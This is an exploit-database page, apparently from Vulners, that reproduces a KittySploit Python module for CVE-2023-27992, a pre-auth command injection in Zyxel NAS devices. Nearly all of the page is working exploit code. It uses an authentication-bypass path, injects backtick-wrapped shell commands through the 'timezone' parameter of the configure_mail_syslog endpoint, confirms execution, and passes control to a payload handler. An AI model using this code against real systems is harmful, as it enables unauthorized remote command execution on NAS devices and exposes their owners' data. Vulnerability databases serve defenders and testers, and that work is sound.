Lucene search
+L

Zyxel NAS zylog RCE (CVE-2023-27992)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Pre-auth command injection in Zyxel NAS zylog via configure_mail_syslog allows RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS zylog pre-auth command injection (CVE-2023-27992)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel NAS zylog RCE (CVE-2023-27992)',
        'description': (
            'Exploits CVE-2023-27992 in Zyxel NAS: pre-auth command injection via '
            'configure_mail_syslog after auth-bypass path /cmd,/ck6fup6/zylog_main/.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-27992'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-27992'],
        'tags': ['zyxel', 'nas', 'backdoor', 'cmdi', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2023_27992_zyxel_nas_detect',
                    'exploits/linux/http/zyxel_nas_cve_2020_9054_rce',
                ],
            },
        },
    }

    zylog_base = OptString(
        '/cmd,/ck6fup6/zylog_main/configure_mail_syslog',
        'Zyxel zylog endpoint base',
        required=False,
        advanced=True,
    )

    def _bypass_ok(self) -> bool:
        base = str(self.zylog_base or '').strip()
        r = self.http_request(method='GET', path=f'{base}/favicon.ico', allow_redirects=False)
        return bool(r and re.search(r'"errorMsg"\s*:\s*"OK"', r.text or ''))

    def execute(self, cmd: str) -> str:
        base = str(self.zylog_base or '').strip()
        inj = urllib.parse.quote(f'`{cmd}`', safe='')
        for path in (f'{base}/favicon.ico?timezone={inj}', f'{base}?timezone={inj}'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and (r.text or '').strip():
                return r.text or ''
        r = self.http_request(
            method='POST',
            path=base,
            data=f'timezone=`{cmd}`',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        if self._bypass_ok():
            body = self.execute('id')
            if re.search(r'uid=\d+', body or ''):
                return {'vulnerable': True, 'reason': 'CVE-2023-27992 injection confirmed', 'confidence': 'high'}
            return {'vulnerable': True, 'reason': 'Zyxel zylog bypass surface active', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Zyxel NAS 27992 not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('Bypass confirmed — command output may be blind')
            self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
            return True
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.82828
SSVC
0